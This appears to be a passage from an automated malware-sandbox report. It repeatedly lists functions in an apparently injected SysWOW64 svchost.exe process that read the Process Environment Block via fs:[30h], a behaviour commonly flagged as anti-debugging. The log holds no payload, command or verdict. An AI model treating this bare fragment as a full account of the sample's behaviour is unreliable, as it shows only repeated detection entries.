Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABE75D mov eax, dword ptr fs:[00000030h] 4_2_03ABE75D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72750 mov eax, dword ptr fs:[00000030h] 4_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72750 mov eax, dword ptr fs:[00000030h] 4_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4755 mov eax, dword ptr fs:[00000030h] 4_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C6A6 mov eax, dword ptr fs:[00000030h] 4_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A666B0 mov eax, dword ptr fs:[00000030h] 4_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34690 mov eax, dword ptr fs:[00000030h] 4_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A34690 mov eax, dword ptr fs:[00000030h] 4_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE6F2 mov eax, dword ptr fs:[00000030h] 4_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE6F2 mov eax, dword ptr fs:[00000030h] 4_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE6F2 mov eax, dword ptr fs:[00000030h] 4_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE6F2 mov eax, dword ptr fs:[00000030h] 4_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB06F1 mov eax, dword ptr fs:[00000030h] 4_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB06F1 mov eax, dword ptr fs:[00000030h] 4_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h] 4_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A6C7 mov eax, dword ptr fs:[00000030h] 4_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E627 mov eax, dword ptr fs:[00000030h] 4_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A66620 mov eax, dword ptr fs:[00000030h] 4_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A68620 mov eax, dword ptr fs:[00000030h] 4_2_03A68620
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3262C mov eax, dword ptr fs:[00000030h] 4_2_03A3262C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAE609 mov eax, dword ptr fs:[00000030h] 4_2_03AAE609
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4260B mov eax, dword ptr fs:[00000030h] 4_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72619 mov eax, dword ptr fs:[00000030h] 4_2_03A72619
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF866E mov eax, dword ptr fs:[00000030h] 4_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF866E mov eax, dword ptr fs:[00000030h] 4_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A660 mov eax, dword ptr fs:[00000030h] 4_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A660 mov eax, dword ptr fs:[00000030h] 4_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A62674 mov eax, dword ptr fs:[00000030h] 4_2_03A62674
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4C640 mov eax, dword ptr fs:[00000030h] 4_2_03A4C640
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB05A7 mov eax, dword ptr fs:[00000030h] 4_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB05A7 mov eax, dword ptr fs:[00000030h] 4_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB05A7 mov eax, dword ptr fs:[00000030h] 4_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A545B1 mov eax, dword ptr fs:[00000030h] 4_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A545B1 mov eax, dword ptr fs:[00000030h] 4_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32582 mov eax, dword ptr fs:[00000030h] 4_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32582 mov ecx, dword ptr fs:[00000030h] 4_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A64588 mov eax, dword ptr fs:[00000030h] 4_2_03A64588
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E59C mov eax, dword ptr fs:[00000030h] 4_2_03A6E59C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E5E7 mov eax, dword ptr fs:[00000030h] 4_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A325E0 mov eax, dword ptr fs:[00000030h] 4_2_03A325E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C5ED mov eax, dword ptr fs:[00000030h] 4_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6C5ED mov eax, dword ptr fs:[00000030h] 4_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E5CF mov eax, dword ptr fs:[00000030h] 4_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E5CF mov eax, dword ptr fs:[00000030h] 4_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A365D0 mov eax, dword ptr fs:[00000030h] 4_2_03A365D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A5D0 mov eax, dword ptr fs:[00000030h] 4_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A5D0 mov eax, dword ptr fs:[00000030h] 4_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 mov eax, dword ptr fs:[00000030h] 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E53E mov eax, dword ptr fs:[00000030h] 4_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E53E mov eax, dword ptr fs:[00000030h] 4_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E53E mov eax, dword ptr fs:[00000030h] 4_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E53E mov eax, dword ptr fs:[00000030h] 4_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5E53E mov eax, dword ptr fs:[00000030h] 4_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6500 mov eax, dword ptr fs:[00000030h] 4_2_03AC6500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04500 mov eax, dword ptr fs:[00000030h] 4_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6656A mov eax, dword ptr fs:[00000030h] 4_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6656A mov eax, dword ptr fs:[00000030h] 4_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6656A mov eax, dword ptr fs:[00000030h] 4_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38550 mov eax, dword ptr fs:[00000030h] 4_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38550 mov eax, dword ptr fs:[00000030h] 4_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A364AB mov eax, dword ptr fs:[00000030h] 4_2_03A364AB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A644B0 mov ecx, dword ptr fs:[00000030h] 4_2_03A644B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABA4B0 mov eax, dword ptr fs:[00000030h] 4_2_03ABA4B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A304E5 mov ecx, dword ptr fs:[00000030h] 4_2_03A304E5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E420 mov eax, dword ptr fs:[00000030h] 4_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E420 mov eax, dword ptr fs:[00000030h] 4_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2E420 mov eax, dword ptr fs:[00000030h] 4_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2C427 mov eax, dword ptr fs:[00000030h] 4_2_03A2C427
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB6420 mov eax, dword ptr fs:[00000030h] 4_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6A430 mov eax, dword ptr fs:[00000030h] 4_2_03A6A430
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A68402 mov eax, dword ptr fs:[00000030h] 4_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A68402 mov eax, dword ptr fs:[00000030h] 4_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A68402 mov eax, dword ptr fs:[00000030h] 4_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABC460 mov ecx, dword ptr fs:[00000030h] 4_2_03ABC460
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5A470 mov eax, dword ptr fs:[00000030h] 4_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5A470 mov eax, dword ptr fs:[00000030h] 4_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5A470 mov eax, dword ptr fs:[00000030h] 4_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E443 mov eax, dword ptr fs:[00000030h] 4_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2645D mov eax, dword ptr fs:[00000030h] 4_2_03A2645D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5245A mov eax, dword ptr fs:[00000030h] 4_2_03A5245A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40BBE mov eax, dword ptr fs:[00000030h] 4_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40BBE mov eax, dword ptr fs:[00000030h] 4_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38BF0 mov eax, dword ptr fs:[00000030h] 4_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38BF0 mov eax, dword ptr fs:[00000030h] 4_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38BF0 mov eax, dword ptr fs:[00000030h] 4_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5EBFC mov eax, dword ptr fs:[00000030h] 4_2_03A5EBFC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABCBF0 mov eax, dword ptr fs:[00000030h] 4_2_03ABCBF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A50BCB mov eax, dword ptr fs:[00000030h] 4_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A50BCB mov eax, dword ptr fs:[00000030h] 4_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A50BCB mov eax, dword ptr fs:[00000030h] 4_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30BCD mov eax, dword ptr fs:[00000030h] 4_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30BCD mov eax, dword ptr fs:[00000030h] 4_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30BCD mov eax, dword ptr fs:[00000030h] 4_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADEBD0 mov eax, dword ptr fs:[00000030h] 4_2_03ADEBD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5EB20 mov eax, dword ptr fs:[00000030h] 4_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5EB20 mov eax, dword ptr fs:[00000030h] 4_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF8B28 mov eax, dword ptr fs:[00000030h] 4_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF8B28 mov eax, dword ptr fs:[00000030h] 4_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAEB1D mov eax, dword ptr fs:[00000030h] 4_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2CB7E mov eax, dword ptr fs:[00000030h] 4_2_03A2CB7E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6B40 mov eax, dword ptr fs:[00000030h] 4_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC6B40 mov eax, dword ptr fs:[00000030h] 4_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFAB40 mov eax, dword ptr fs:[00000030h] 4_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD8B42 mov eax, dword ptr fs:[00000030h] 4_2_03AD8B42
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38AA0 mov eax, dword ptr fs:[00000030h] 4_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A38AA0 mov eax, dword ptr fs:[00000030h] 4_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A86AA4 mov eax, dword ptr fs:[00000030h] 4_2_03A86AA4
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 mov eax, dword ptr fs:[00000030h] 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B04A80 mov eax, dword ptr fs:[00000030h] 4_2_03B04A80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A68A90 mov edx, dword ptr fs:[00000030h] 4_2_03A68A90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6AAEE mov eax, dword ptr fs:[00000030h] 4_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6AAEE mov eax, dword ptr fs:[00000030h] 4_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A86ACC mov eax, dword ptr fs:[00000030h] 4_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A86ACC mov eax, dword ptr fs:[00000030h] 4_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A86ACC mov eax, dword ptr fs:[00000030h] 4_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30AD0 mov eax, dword ptr fs:[00000030h] 4_2_03A30AD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A64AD0 mov eax, dword ptr fs:[00000030h] 4_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A64AD0 mov eax, dword ptr fs:[00000030h] 4_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CA24 mov eax, dword ptr fs:[00000030h] 4_2_03A6CA24
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5EA2E mov eax, dword ptr fs:[00000030h] 4_2_03A5EA2E
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A54A35 mov eax, dword ptr fs:[00000030h] 4_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A54A35 mov eax, dword ptr fs:[00000030h] 4_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CA38 mov eax, dword ptr fs:[00000030h] 4_2_03A6CA38
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABCA11 mov eax, dword ptr fs:[00000030h] 4_2_03ABCA11
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CA6F mov eax, dword ptr fs:[00000030h] 4_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CA6F mov eax, dword ptr fs:[00000030h] 4_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6CA6F mov eax, dword ptr fs:[00000030h] 4_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AACA72 mov eax, dword ptr fs:[00000030h] 4_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AACA72 mov eax, dword ptr fs:[00000030h] 4_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A36A50 mov eax, dword ptr fs:[00000030h] 4_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40A5B mov eax, dword ptr fs:[00000030h] 4_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40A5B mov eax, dword ptr fs:[00000030h] 4_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 mov eax, dword ptr fs:[00000030h] 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A309AD mov eax, dword ptr fs:[00000030h] 4_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A309AD mov eax, dword ptr fs:[00000030h] 4_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB89B3 mov esi, dword ptr fs:[00000030h] 4_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB89B3 mov eax, dword ptr fs:[00000030h] 4_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB89B3 mov eax, dword ptr fs:[00000030h] 4_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABE9E0 mov eax, dword ptr fs:[00000030h] 4_2_03ABE9E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A629F9 mov eax, dword ptr fs:[00000030h] 4_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A629F9 mov eax, dword ptr fs:[00000030h] 4_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC69C0 mov eax, dword ptr fs:[00000030h] 4_2_03AC69C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3A9D0 mov eax, dword ptr fs:[00000030h] 4_2_03A3A9D0
